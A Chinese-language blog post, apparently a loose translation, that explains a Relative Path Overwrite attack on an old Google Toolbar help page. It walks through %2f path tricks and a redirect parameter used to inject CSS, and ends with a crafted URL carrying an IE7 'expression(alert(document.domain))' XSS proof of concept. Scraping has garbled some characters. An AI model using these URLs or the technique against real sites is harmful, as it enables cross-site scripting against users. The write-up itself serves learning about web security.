一篇RPO漏洞挖掘文章翻译加深理解。

    这是我第一次尝试翻译一篇漏洞挖掘文章,翻译它也是为了加深理解它。这是一篇颇有意思的漏洞挖掘文章。css

  前几天在看fd的博客,偶然看到了这篇文章,虽然有点老了。可是思路真的牛皮。我决定花费时间和精力研究它们。我决定运用我对这个漏洞的理解来说述他们。html

  存在漏洞网站地址:http://www.google.com/tools/toolbar/buttons/apis/howto_guide.htmlexpress

  查看源代码api

<html>
<head>
<title>Google Toolbar API - Guide to Making Custom Buttons</title>
<link href="../../styles.css" rel="stylesheet" type="text/css" />
......

首先咱们无论有没有rpo漏洞吧,先看最基础的,代码是不符合规范的浏览器

当我在sublime中输入<htm而后自动补全服务器

代码的开头会有<!DOCTYPE html>dom

 

 

了解这个很重要,咱们继续往下说。xss

    rpo呢,简单点来讲就是相对路径覆盖 ,源码中引用了相对路径css文件。ide

    那么咱们要作的就是覆盖这个css文件,致使css攻击钓鱼 or css-xss攻击?网站

    如今咱们知道,这算符合rpo攻击的一些条件的 1.没doctype  2.包含相对路径

  下一步咱们要作什么?

  进行验证,他是否支持%2f,看看他是如何解析的:

  尝试修改网站为:http://www.google.com/tools/toolbar/buttons/apis%2fhowto_guide.html

  当咱们再次访问

    咱们发现页面正常访问,惟一的缺陷就是css失效了,它并无显示404

 

 

 

  为何会css样式会失效?

  让咱们深刻理解他们:

   网址输入http://www.google.com/tools/toolbar/buttons/apis%2fhowto_guide.html

    服务器的理解:http://www.google.com/tools/toolbar/buttons/apis/howto_guide.html

 

    浏览器的理解:http://www.google.com/tools/toolbar/buttons/apis%2fhowto_guide.html

    css样式表的理解:http://www.google.com/tools/toolbar/buttons/apis%2fhowto_guide.html

    没把/改为%2f以前:http://www.google.com/tools/toolbar/buttons/apis/howto_guide.html

    css样式表:http://www.google.com/tools/toolbar/style.css

    当把/改为%2f以后http://www.google.com/tools/toolbar/buttons/apis%2fhowto_guide.html

    css样式表:http://www.google.com/tools/style.css

    这样会致使style.css不存在,因此没法加载css样式表。致使这种问题是由于apis%2fhowto_guide.html被认为是一个文件,而不是被认为是apisapis/howto_guide.html一个目录

    

    如今浏览器认为咱们的目录是/tools/toolbar/buttons/而不是/tools/toolbar/buttons/apis

    咱们继续往前探测,咱们发现它影响/tools/toolbar/buttons/*style.css ,能够覆盖他们,可是这范围过小了。

    咱们尝试建立个fake目录和..%2ftoolbar

     当输入:http://www.google.com/tools/fake/..%2ftoolbar/buttons/apis%2fhowto_guide.html

    服务器理解:由于fake和..%2ftoolbar目录不存在,因此被理解:http://www.google.com/tools/toolbar/buttons/apis%2fhowto_guide.html

    浏览器理解:http://www.google.com/tools/fake/..%2ftoolbar/buttons/apis%2fhowto_guide.html

    css样式表:http://www.google.com/tools/fake/style.css

  在这里咱们添加了fake 和..%2ftoolbar虚假目录,这样浏览器认为fake和..%2ftoolbar都是目录,由于他们中间都有/*/,而%2f被理解成了文件。

    通过实验证实,理论上咱们能够css覆盖http://www.google.com/*/style.css ,可是咱们再次往上层编码,发现这是不行的,会出错。因此css覆盖止步于:http://www.google.com/tools/*/style.css

    如今咱们须要个契机,致使它能css覆盖成功。 咱们在http://www.google.com/tools/*寻找某个自定义内容的点,但愿经过它可以css覆盖成功。

      咱们发现某个接口http://www.google.com/tools/toolbar/buttons/gallery

    当咱们访问这个接口的时候会跳转到:http://www.google.com/gadgets/directory?synd=toolbar&frontpage=1

    这个跳转连接处有个q参数搜索,那么咱们在接口处http://www.google.com/tools/toolbar/buttons/gallery?q=1

    会进行二次跳转,跳转到http://www.google.com/gadgets/directory?synd=toolbar&frontpage=1&q=1

    那么咱们尝试覆盖css

      在原来接口处http://www.google.com/tools/toolbar/buttons/gallery?q={}*{background:red}

      他会跳转到:  

      http://www.google.com/gadgets/directory?synd=toolbar&frontpage=1&q={}*{background:red}

      让咱们查看源代码:  

      

 

 

css代码成功植入,虽然他不在style样式表中。

    为何只能使用接口而不能使用跳转连接进行攻击?由于咱们的css覆盖止步于:http://www.google.com/tools/*/style.css

    而咱们的跳转接口在/tools/*下。

      如今咱们来利用它:

    构造地址:http://www.google.com/tools/toolbar/buttons%2Fgallery%3Fq%3D%0a%7B%7D*%7Bbackground%3Ared%7D/..%2F的/apis/howto_guide.html

     服务器的理解:http://www.google.com/tools/toolbar/buttons//apis/howto_guide.html

     浏览器的理解:http://www.google.com/tools/toolbar/buttons%2Fgallery%3Fq%3D%0a%7B%7D*%7Bbackground%3Ared%7D/..%2F的/apis/howto_guide.html

     css样式表:http://www.google.com/tools/toolbar/buttons/gallery?q=%0a{}*{background:red}/style.css

     而后进行二次跳转:/gadgets/directory?synd=toolbar&frontpage=1&q=%0a{}*{background:red}/style.css

     

 

 

 

发现背景颜色变成了红色。咱们css覆盖成功。 

  如今咱们把改变颜色的代码变成xss攻击代码:ie7下执行

    http://www.google.com/tools/toolbar/buttons%2fgallery%3fq%3d%250a%257B%257D*%257Bx%253Aexpression(alert(document.domain))%257D/..%2f/apis/

    

 

 

 

    

 就翻译到这里吧。

关于rpo攻击css地址的payload哪里来的?参考:http://www.thespanner.co.uk/2014/03/21/rpo/

这我的是做者

RPO攻击真的是一种被大部分人忽略的攻击,我的以为危害很大,其实你们能够触类旁通,它不只仅会影响相对路径css覆盖,甚至他也能致使相对路径js覆盖劫持。我准备下一篇文章翻译他们。敬请期待。

相关文章
相关标签/搜索